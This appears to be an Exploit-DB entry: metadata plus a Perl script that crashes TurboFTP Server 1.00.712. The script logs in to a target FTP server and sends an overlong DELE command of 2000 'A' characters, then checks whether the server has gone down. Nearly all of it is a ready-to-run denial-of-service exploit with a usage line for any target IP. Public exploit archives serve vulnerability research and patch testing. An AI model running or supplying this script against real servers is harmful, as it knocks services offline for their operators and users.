TurboFTP Server 1.00.712 - Remote Denial of Service

Author: corelanc0d3r
type: dos
platform: windows
port: 
date_added: 2010-01-12  
date_updated: 2011-01-05  
verified: 1  
codes: OSVDB-61671  
tags:   
aliases:   
screenshot_url: http://www.exploit-db.com/screenshots/idlt11500/screen-shot-2011-01-04-at-83246-pm.png  
application_url: http://www.exploit-db.comtbftpsrv1.00.712.exe  

raw file: 11131.pl  

# Exploit Title : TurboFTP Server 1.00.712 Remote DoS
# Date          : 30 december 2009
# Author        : corelanc0d3r (corelanc0d3r[at]gmail{dot}com)
# Bug found by  : corelanc0d3r (corelanc0d3r[at]gmail{dot}com)
# Software Link : http://www.tbsoftinc.com/download/tbftpsrv.exe
# Version       : 1.00.712
# Issue fixed in: 1.00.720
# OS            : Windows
# Tested on     : XP SP3 En (VirtualBox)
# Type of vuln  : DoS
# Greetz to     : Corelan Security Team::EdiStrosar/Ricks2600/MarkoT/mr_me/ekse
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
#
#
# Code :
print "|------------------------------------------------------------------|\n";
print "|                         __               __                       |\n";
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |\n";
print "|  / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\   / __/ _ \\/ __ `/ __ `__ \\ |\n";
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |\n";
print "| \\___/\\____/_/   \\___/_/\\__,_/_/ /_/   \\__/\\___/\\__,_/_/ /_/ /_/  |\n";
print "|                                                                  |\n";
print "|                                       http://www.corelan.be:8800 |\n";
print "|                                                                  |\n";
print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
print "[+] DoS exploit for TurboFTP Server 1.00.712 \n";

use IO::Socket;

if ($#ARGV ne 3) {
print "\n  usage: $0 <targetip> <targetport> <user> <password>\n";
exit(0);
}

my $user=$ARGV[2];
my $pass=$ARGV[3];

print " [+] Preparing DoS payload\n";
my $payload = "A" x 2000;
print " [+] Connecting to server $ARGV[0] on port $ARGV[1]\n";
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => $ARGV[1],
                              Proto    => 'tcp');

$ftp = <$sock> || die " [!] *** Unable to connect ***\n";
print "   ** $ftp";
$ftp = <$sock>;
print "   ** $ftp";
print " [+] Logging in (user $user)\n";
print $sock "USER $user\r\n";
$ftp = <$sock>;
print "   ** $ftp";
print $sock "PASS $pass\r\n";
$ftp = <$sock>;
print "   ** $ftp";
print " [+] Sending payload\n";
print $sock "DELE ".$payload."\r\n";
$ftp = <$sock>;
print "   ** $ftp";
print " [+] Payload sent, now checking FTP server state\n";
$sock2 = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => $ARGV[1],
                              Proto    => 'tcp');
my $ftp2 = <$sock2> || die " [+] DoS successful\n";
print " [!] DoS did not seem to work\n";
print "   ** $ftp2\n";